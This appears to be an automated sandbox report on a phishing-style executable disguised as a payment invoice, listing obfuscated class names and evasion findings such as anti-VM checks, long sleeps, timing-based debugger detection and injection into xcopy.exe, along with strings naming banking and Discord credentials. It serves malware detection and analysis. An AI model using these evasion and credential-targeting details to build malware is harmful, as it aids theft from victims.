Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, vLnWLW2yVODsKcu4eY.cs High entropy of concatenated method names: 'CNNldDs2Gf', 'IfBlMZpNv7', 'gEelBf5dbX', 'Ku5lgpZWYa', 'eoslfyOHnr', 'FVVlKroyoD', 'kfLlyUOsAn', 'ODYl2SAYGN', 'De3lukOxK3', 'e23loBJmx7'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, AGrHCskPokfxNeiwuh.cs High entropy of concatenated method names: 'q3LfEljE9D', 'HgqfSA2rIb', 'fXrgFBBW9m', 'lsygiAtD1R', 'ioIgvvHN9S', 'JrKgT9SpDR', 'KcwgaA2QHV', 'U3tgtjpbug', 'dSWgqGwSaE', 'MR4gZ6SWt8'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, GY0uFoWYUpjPn8RenS.cs High entropy of concatenated method names: 'HK1p92gAWj', 'BR7p19NAFH', 'jL5pR6Bqoi', 'I0upIfKb5q', 'jaapidexCe', 'n4ypv3unFL', 'mVKpa967Rb', 'tKEptKj67c', 'INVpZ43TEn', 'sV6pL4ak82'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, n5S2k7BoiLiT93YXb2.cs High entropy of concatenated method names: 'Dispose', 'E9hHc64YSG', 'TfIUIhX9cV', 'bSfGGMEcSm', 'O7JHXRIXs8', 'KSsHze2Ng2', 'ProcessDialogKey', 'MTdUAQ8lyu', 'inGUHm0bgM', 'Hb5UUpqvvs'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, DElvwy9pvaF1D0fn6T.cs High entropy of concatenated method names: 'Si7B5KgEti', 'ra2Bn8m0gx', 'kl1BspR40h', 'nWNB6WxlBQ', 'LSJB3tvf9S', 'D6gBOZld0L', 'vYABwuQfFO', 'OqXBCnRhwu', 'HeVBchefOL', 'jDXBXrS69b'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, OYlk1PjZ6pbuOUm8Jl.cs High entropy of concatenated method names: 'CH9HyElvwy', 'ovaH2F1D0f', 'QB2Hos8Z6a', 'bpWHGI4GrH', 'qiwHJuhOJh', 'FqlHmvoiRr', 'Bqos9IuCv5d4ymHNdK', 'SWrPyf3euAWAml30We', 'xpuHHATbqu', 'M2pHl1KlkK'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, eQ8lyucfnGm0bgMFb5.cs High entropy of concatenated method names: 'VNDxRFel9w', 'vdxxInprF2', 'kMcxFDHEJ8', 'gxZxiEWbyu', 'E2lx5l69ff', 'TbrxvjWsSM', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, QrhsiFI8fGT8JEOJoU.cs High entropy of concatenated method names: 'VBnBD5hfoY9UgBaPQh2', 'TepdHvhLTl1QcVZhiAa', 'wmLKxg8DIN', 'aYkKrqL3jf', 'xTaKDOXnBU', 'iIERJthcqZj3XtEjncS', 'AWlsubhj7ga7WhER8K8', 'Y9u6S4h5jlFegX71GeR'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, UOJiyW1B2s8Z6aHpWI.cs High entropy of concatenated method names: 'qnwg4bimWJ', 'rfGg0D5UBQ', 'xkog9D5JIr', 'ILKg16vGk2', 'm2PgJy91bx', 'CkTgmtffJk', 'DRkgeuTaqi', 'uergxPv5W3', 'E6kgrguVCh', 'zdugDnPfMC'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, nqvvsvXU7Q5cfreR9i.cs High entropy of concatenated method names: 'v8CrHOnPPj', 'qVQrlfaLhP', 'qGNrjHdpFq', 'lY7rMgb7Tq', 'AHyrBDGRwa', 'QJgrfPqhho', 'K5GrKuRVb3', 'X5ZxwMTnJV', 'ho9xCy9A3v', 'DRqxcoZNiM'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, OyUJwmqSrpTaTYYllv.cs High entropy of concatenated method names: 'IttyPGYkru', 'OqGy8dis6O', 'wOGyb8k1ao', 'q7Sy4ShhVw', 'MuwyEPXYSj', 'AGFy0u6T49', 'cAfySrEhFM', 'm7Qy9siOUP', 'OYay1fu31L', 'H4eykWvDWI'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, jjeIoBODgMkXuNjht9.cs High entropy of concatenated method names: 'CF0eCDNi7l', 'mlBeXVrMXg', 'C9pxAQHZOa', 'ITmxHp4wLG', 'pOVeLvYM8m', 'OZEeVSieVT', 'JodeW60Grc', 'ri9e5qJIbC', 'OURenDKxTp', 'uhwesabk96'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, OErDEAHAaixDDZDpW6W.cs High entropy of concatenated method names: 'hJUrPitfen', 'QUmr8arfaY', 'VA1rb8dJRp', 'KOIr4uwHJZ', 'M8yrEY9PmM', 'yqIr0rDiW7', 'bPkrSuqGXo', 'Rjpr93UDgL', 'yfdr1RMnuN', 'vu5rka9isO'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, VJhkqlRvoiRrIBqcn4.cs High entropy of concatenated method names: 'sW5KdBCTwj', 'hRPKBpEsD8', 'TNCKfEWMIU', 'nLOKyVZfbN', 'WyHK23IEbL', 'AXZf3BGDqE', 'X2qfOQaOx3', 'd52fwIYQY8', 'VV1fCPlqEY', 'S7TfcBYRmm'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, AKVktvULoa69tmbaIo.cs High entropy of concatenated method names: 'FmPb8a6XH', 'SRA4ZZGFY', 'jRN0BWAHX', 'tc7Si6ujM', 'M201BVRyl', 'k7pkvxvAu', 'zS6AndXmnMEks7F2H9', 'yEYQNVrLfjTM3GsuJh', 'Af3xxk2y5', 'ACyDcCPAy'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, uJRIXsC8TSse2Ng2qT.cs High entropy of concatenated method names: 'A5ExMtQN08', 'nc3xB5hLJt', 'o0FxgqWVSN', 'ts2xfWoh3Y', 'KbpxK3N9MI', 'bHpxyODs1Z', 'WIox2R6Wpo', 'dxNxuowIPQ', 'lKlxo1N2FB', 'D1txGPO5Kh'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, fZJaniaQLt3UYFjfdV.cs High entropy of concatenated method names: 'SRPyMNVpco', 'ldtygS8RYK', 'xmJyKG13oS', 'kaWKXU4mmT', 'DBcKz8OnsE', 'f1PyA9YicJ', 'U0oyHGiTDt', 'P2YyUijDIm', 'qvUylCHbd9', 'p4NyjQx80s'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, TLDvs0HlNPohFsLdrmN.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Ik8D5TxjbQ', 'GoWDnCplur', 'eZdDsK35cN', 'YLID6MG8Cq', 'sqCD3Ahmh4', 'kjVDO0uEfe', 'M6lDwFW0Zn'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, vLnWLW2yVODsKcu4eY.cs High entropy of concatenated method names: 'CNNldDs2Gf', 'IfBlMZpNv7', 'gEelBf5dbX', 'Ku5lgpZWYa', 'eoslfyOHnr', 'FVVlKroyoD', 'kfLlyUOsAn', 'ODYl2SAYGN', 'De3lukOxK3', 'e23loBJmx7'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, AGrHCskPokfxNeiwuh.cs High entropy of concatenated method names: 'q3LfEljE9D', 'HgqfSA2rIb', 'fXrgFBBW9m', 'lsygiAtD1R', 'ioIgvvHN9S', 'JrKgT9SpDR', 'KcwgaA2QHV', 'U3tgtjpbug', 'dSWgqGwSaE', 'MR4gZ6SWt8'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, GY0uFoWYUpjPn8RenS.cs High entropy of concatenated method names: 'HK1p92gAWj', 'BR7p19NAFH', 'jL5pR6Bqoi', 'I0upIfKb5q', 'jaapidexCe', 'n4ypv3unFL', 'mVKpa967Rb', 'tKEptKj67c', 'INVpZ43TEn', 'sV6pL4ak82'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, n5S2k7BoiLiT93YXb2.cs High entropy of concatenated method names: 'Dispose', 'E9hHc64YSG', 'TfIUIhX9cV', 'bSfGGMEcSm', 'O7JHXRIXs8', 'KSsHze2Ng2', 'ProcessDialogKey', 'MTdUAQ8lyu', 'inGUHm0bgM', 'Hb5UUpqvvs'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, DElvwy9pvaF1D0fn6T.cs High entropy of concatenated method names: 'Si7B5KgEti', 'ra2Bn8m0gx', 'kl1BspR40h', 'nWNB6WxlBQ', 'LSJB3tvf9S', 'D6gBOZld0L', 'vYABwuQfFO', 'OqXBCnRhwu', 'HeVBchefOL', 'jDXBXrS69b'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, OYlk1PjZ6pbuOUm8Jl.cs High entropy of concatenated method names: 'CH9HyElvwy', 'ovaH2F1D0f', 'QB2Hos8Z6a', 'bpWHGI4GrH', 'qiwHJuhOJh', 'FqlHmvoiRr', 'Bqos9IuCv5d4ymHNdK', 'SWrPyf3euAWAml30We', 'xpuHHATbqu', 'M2pHl1KlkK'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, eQ8lyucfnGm0bgMFb5.cs High entropy of concatenated method names: 'VNDxRFel9w', 'vdxxInprF2', 'kMcxFDHEJ8', 'gxZxiEWbyu', 'E2lx5l69ff', 'TbrxvjWsSM', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, QrhsiFI8fGT8JEOJoU.cs High entropy of concatenated method names: 'VBnBD5hfoY9UgBaPQh2', 'TepdHvhLTl1QcVZhiAa', 'wmLKxg8DIN', 'aYkKrqL3jf', 'xTaKDOXnBU', 'iIERJthcqZj3XtEjncS', 'AWlsubhj7ga7WhER8K8', 'Y9u6S4h5jlFegX71GeR'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, UOJiyW1B2s8Z6aHpWI.cs High entropy of concatenated method names: 'qnwg4bimWJ', 'rfGg0D5UBQ', 'xkog9D5JIr', 'ILKg16vGk2', 'm2PgJy91bx', 'CkTgmtffJk', 'DRkgeuTaqi', 'uergxPv5W3', 'E6kgrguVCh', 'zdugDnPfMC'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, nqvvsvXU7Q5cfreR9i.cs High entropy of concatenated method names: 'v8CrHOnPPj', 'qVQrlfaLhP', 'qGNrjHdpFq', 'lY7rMgb7Tq', 'AHyrBDGRwa', 'QJgrfPqhho', 'K5GrKuRVb3', 'X5ZxwMTnJV', 'ho9xCy9A3v', 'DRqxcoZNiM'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, OyUJwmqSrpTaTYYllv.cs High entropy of concatenated method names: 'IttyPGYkru', 'OqGy8dis6O', 'wOGyb8k1ao', 'q7Sy4ShhVw', 'MuwyEPXYSj', 'AGFy0u6T49', 'cAfySrEhFM', 'm7Qy9siOUP', 'OYay1fu31L', 'H4eykWvDWI'
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, jjeIoBODgMkXuNjht9.cs High entropy of concatenated method names: 'CF0eCDNi7l', 'mlBeXVrMXg', 'C9pxAQHZOa', 'ITmxHp4wLG', 'pOVeLvYM8m', 'OZEeVSieVT', 'JodeW60Grc', 'ri9e5qJIbC', 'OURenDKxTp', 'uhwesabk96'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, OErDEAHAaixDDZDpW6W.cs High entropy of concatenated method names: 'hJUrPitfen', 'QUmr8arfaY', 'VA1rb8dJRp', 'KOIr4uwHJZ', 'M8yrEY9PmM', 'yqIr0rDiW7', 'bPkrSuqGXo', 'Rjpr93UDgL', 'yfdr1RMnuN', 'vu5rka9isO'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, VJhkqlRvoiRrIBqcn4.cs High entropy of concatenated method names: 'sW5KdBCTwj', 'hRPKBpEsD8', 'TNCKfEWMIU', 'nLOKyVZfbN', 'WyHK23IEbL', 'AXZf3BGDqE', 'X2qfOQaOx3', 'd52fwIYQY8', 'VV1fCPlqEY', 'S7TfcBYRmm'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, AKVktvULoa69tmbaIo.cs High entropy of concatenated method names: 'FmPb8a6XH', 'SRA4ZZGFY', 'jRN0BWAHX', 'tc7Si6ujM', 'M201BVRyl', 'k7pkvxvAu', 'zS6AndXmnMEks7F2H9', 'yEYQNVrLfjTM3GsuJh', 'Af3xxk2y5', 'ACyDcCPAy'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, uJRIXsC8TSse2Ng2qT.cs High entropy of concatenated method names: 'A5ExMtQN08', 'nc3xB5hLJt', 'o0FxgqWVSN', 'ts2xfWoh3Y', 'KbpxK3N9MI', 'bHpxyODs1Z', 'WIox2R6Wpo', 'dxNxuowIPQ', 'lKlxo1N2FB', 'D1txGPO5Kh'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, fZJaniaQLt3UYFjfdV.cs High entropy of concatenated method names: 'SRPyMNVpco', 'ldtygS8RYK', 'xmJyKG13oS', 'kaWKXU4mmT', 'DBcKz8OnsE', 'f1PyA9YicJ', 'U0oyHGiTDt', 'P2YyUijDIm', 'qvUylCHbd9', 'p4NyjQx80s'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, TLDvs0HlNPohFsLdrmN.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Ik8D5TxjbQ', 'GoWDnCplur', 'eZdDsK35cN', 'YLID6MG8Cq', 'sqCD3Ahmh4', 'kjVDO0uEfe', 'M6lDwFW0Zn'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, vLnWLW2yVODsKcu4eY.cs High entropy of concatenated method names: 'CNNldDs2Gf', 'IfBlMZpNv7', 'gEelBf5dbX', 'Ku5lgpZWYa', 'eoslfyOHnr', 'FVVlKroyoD', 'kfLlyUOsAn', 'ODYl2SAYGN', 'De3lukOxK3', 'e23loBJmx7'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, AGrHCskPokfxNeiwuh.cs High entropy of concatenated method names: 'q3LfEljE9D', 'HgqfSA2rIb', 'fXrgFBBW9m', 'lsygiAtD1R', 'ioIgvvHN9S', 'JrKgT9SpDR', 'KcwgaA2QHV', 'U3tgtjpbug', 'dSWgqGwSaE', 'MR4gZ6SWt8'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, GY0uFoWYUpjPn8RenS.cs High entropy of concatenated method names: 'HK1p92gAWj', 'BR7p19NAFH', 'jL5pR6Bqoi', 'I0upIfKb5q', 'jaapidexCe', 'n4ypv3unFL', 'mVKpa967Rb', 'tKEptKj67c', 'INVpZ43TEn', 'sV6pL4ak82'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, n5S2k7BoiLiT93YXb2.cs High entropy of concatenated method names: 'Dispose', 'E9hHc64YSG', 'TfIUIhX9cV', 'bSfGGMEcSm', 'O7JHXRIXs8', 'KSsHze2Ng2', 'ProcessDialogKey', 'MTdUAQ8lyu', 'inGUHm0bgM', 'Hb5UUpqvvs'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, DElvwy9pvaF1D0fn6T.cs High entropy of concatenated method names: 'Si7B5KgEti', 'ra2Bn8m0gx', 'kl1BspR40h', 'nWNB6WxlBQ', 'LSJB3tvf9S', 'D6gBOZld0L', 'vYABwuQfFO', 'OqXBCnRhwu', 'HeVBchefOL', 'jDXBXrS69b'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, OYlk1PjZ6pbuOUm8Jl.cs High entropy of concatenated method names: 'CH9HyElvwy', 'ovaH2F1D0f', 'QB2Hos8Z6a', 'bpWHGI4GrH', 'qiwHJuhOJh', 'FqlHmvoiRr', 'Bqos9IuCv5d4ymHNdK', 'SWrPyf3euAWAml30We', 'xpuHHATbqu', 'M2pHl1KlkK'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, eQ8lyucfnGm0bgMFb5.cs High entropy of concatenated method names: 'VNDxRFel9w', 'vdxxInprF2', 'kMcxFDHEJ8', 'gxZxiEWbyu', 'E2lx5l69ff', 'TbrxvjWsSM', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, QrhsiFI8fGT8JEOJoU.cs High entropy of concatenated method names: 'VBnBD5hfoY9UgBaPQh2', 'TepdHvhLTl1QcVZhiAa', 'wmLKxg8DIN', 'aYkKrqL3jf', 'xTaKDOXnBU', 'iIERJthcqZj3XtEjncS', 'AWlsubhj7ga7WhER8K8', 'Y9u6S4h5jlFegX71GeR'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, UOJiyW1B2s8Z6aHpWI.cs High entropy of concatenated method names: 'qnwg4bimWJ', 'rfGg0D5UBQ', 'xkog9D5JIr', 'ILKg16vGk2', 'm2PgJy91bx', 'CkTgmtffJk', 'DRkgeuTaqi', 'uergxPv5W3', 'E6kgrguVCh', 'zdugDnPfMC'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, nqvvsvXU7Q5cfreR9i.cs High entropy of concatenated method names: 'v8CrHOnPPj', 'qVQrlfaLhP', 'qGNrjHdpFq', 'lY7rMgb7Tq', 'AHyrBDGRwa', 'QJgrfPqhho', 'K5GrKuRVb3', 'X5ZxwMTnJV', 'ho9xCy9A3v', 'DRqxcoZNiM'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, OyUJwmqSrpTaTYYllv.cs High entropy of concatenated method names: 'IttyPGYkru', 'OqGy8dis6O', 'wOGyb8k1ao', 'q7Sy4ShhVw', 'MuwyEPXYSj', 'AGFy0u6T49', 'cAfySrEhFM', 'm7Qy9siOUP', 'OYay1fu31L', 'H4eykWvDWI'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, jjeIoBODgMkXuNjht9.cs High entropy of concatenated method names: 'CF0eCDNi7l', 'mlBeXVrMXg', 'C9pxAQHZOa', 'ITmxHp4wLG', 'pOVeLvYM8m', 'OZEeVSieVT', 'JodeW60Grc', 'ri9e5qJIbC', 'OURenDKxTp', 'uhwesabk96'
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: Due Payment Invoice PISS2024993.exe PID: 1732, type: MEMORYSTR
Switches to a custom stack to bypass stack traces
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\xcopy.exe API/Special instruction interceptor: Address: 7FF8C88EDA44
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: 1490000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: 32F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: 1820000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: 9A20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: AA20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: AC40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: BC40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: C300000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: D300000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102096E rdtsc 3_2_0102096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\xcopy.exe Window / User API: threadDelayed 9788 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\xcopy.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe TID: 4444 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe TID: 5712 Thread sleep time: -55000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe TID: 5712 Thread sleep time: -37500s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe TID: 5768 Thread sleep count: 184 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe TID: 5768 Thread sleep time: -368000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe TID: 5768 Thread sleep count: 9788 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe TID: 5768 Thread sleep time: -19576000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\xcopy.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\xcopy.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281C420 FindFirstFileW,FindNextFileW,FindClose, 6_2_0281C420
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: xcopy.exe, 00000006.00000002.3915201437.0000000007B65000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: nteractive Brokers - EU East & CentralVMware20,11696428655
Source: 56Q8T4H.6.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 56Q8T4H.6.dr Binary or memory string: discord.comVMware20,11696428655f
